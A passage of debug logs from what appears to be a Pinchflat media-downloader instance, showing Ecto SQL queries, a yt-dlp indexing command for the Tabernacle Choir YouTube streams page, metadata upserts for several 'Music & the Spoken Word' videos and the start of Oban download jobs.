~U[2025-12-08 16:56:11Z]] 11:00:24.864 [debug] QUERY OK source="sources" db=0.4ms idle=67.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.864 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:24.865 [debug] QUERY OK source="media_items" db=0.5ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102577] 11:00:24.865 [info] Kicking off download for media item #102577 (SSBMMeRs_b8) 11:00:24.867 [debug] Current batch of media processed. Will check again in 1000ms 11:00:24.948 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/49/36/4936b42cbabecc395f3402ebd6b5d982767e1022f739436ec7577b5e61d6cadf.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2e/6b/2e6b3c009c3b8961c0bd0167cb9bdcfb21272ca1af279c9809bba923751ebc1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 11:00:24.949 [debug] Gracefully stopping file follower 11:00:24.949 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=86.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:24.950 [debug] QUERY OK source="sources" db=0.3ms idle=86.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.953 [debug] QUERY OK source="media_items" db=2.2ms idle=86.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:24.955 [debug] QUERY OK source="media_items" db=1.9ms idle=87.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "c056039d-bdc8-443e-ae3e-118d7f77dec9", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:24.956 [debug] QUERY OK source="sources" db=0.3ms idle=88.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.959 [debug] QUERY OK source="media_items" db=2.2ms idle=6.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:24.961 [debug] QUERY OK source="media_items" db=2.0ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "8641bf63-5e12-4319-b75c-f5823b79e59b", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:24.962 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.964 [debug] QUERY OK source="media_items" db=1.6ms idle=7.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:56:11Z], 1] 11:00:24.966 [debug] QUERY OK source="media_items" db=1.4ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "aca28e45-d606-467a-992e-7149ec2f70cc", "SSBMMeRs_b8", true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", 3, "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, false, false, [], 96, ~U[2025-12-08 16:56:11Z], ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "SSBMMeRs_b8", nil, true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, ~U[2025-12-08 16:56:11Z]] 11:00:24.967 [debug] QUERY OK source="sources" db=0.3ms idle=8.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z], 1] 11:00:24.969 [debug] QUERY OK source="media_items" db=1.9ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:24.973 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=5.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2618, 20219, ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z]] 11:00:24.978 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=4.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2619, 89337, ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z]] 11:00:24.980 [info] {"args":{"id":20219},"id":2618,"meta":{},"system_time":1765562424980776368,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:24.981 [info] {"args":{"id":89337},"id":2619,"meta":{},"system_time":1765562424980882645,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:24.982 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20219] 11:00:24.982 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:24.982 [debug] QUERY OK source="media_items" db=1.0ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 11:00:24.982 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:24.983 [debug] QUERY OK source="sources" db=0.8ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.984 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.985 [debug] QUERY OK source="media_profiles" db=1.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:24.985 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:24.986 [debug] QUERY OK source="media_items" db=0.7ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20219] 11:00:24.987 [debug] QUERY OK source="media_items" db=1.0ms idle=1.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89337] 11:00:24.987 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [20219] 11:00:24.988 [debug] QUERY OK source="media_metadata" db=0.4ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89337] 11:00:24.988 [debug] QUERY OK source="media_profiles" db=1.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:24.989 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:24.989 [debug] QUERY OK source="settings" db=0.6ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.990 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1.3ms SELECT s0."id", 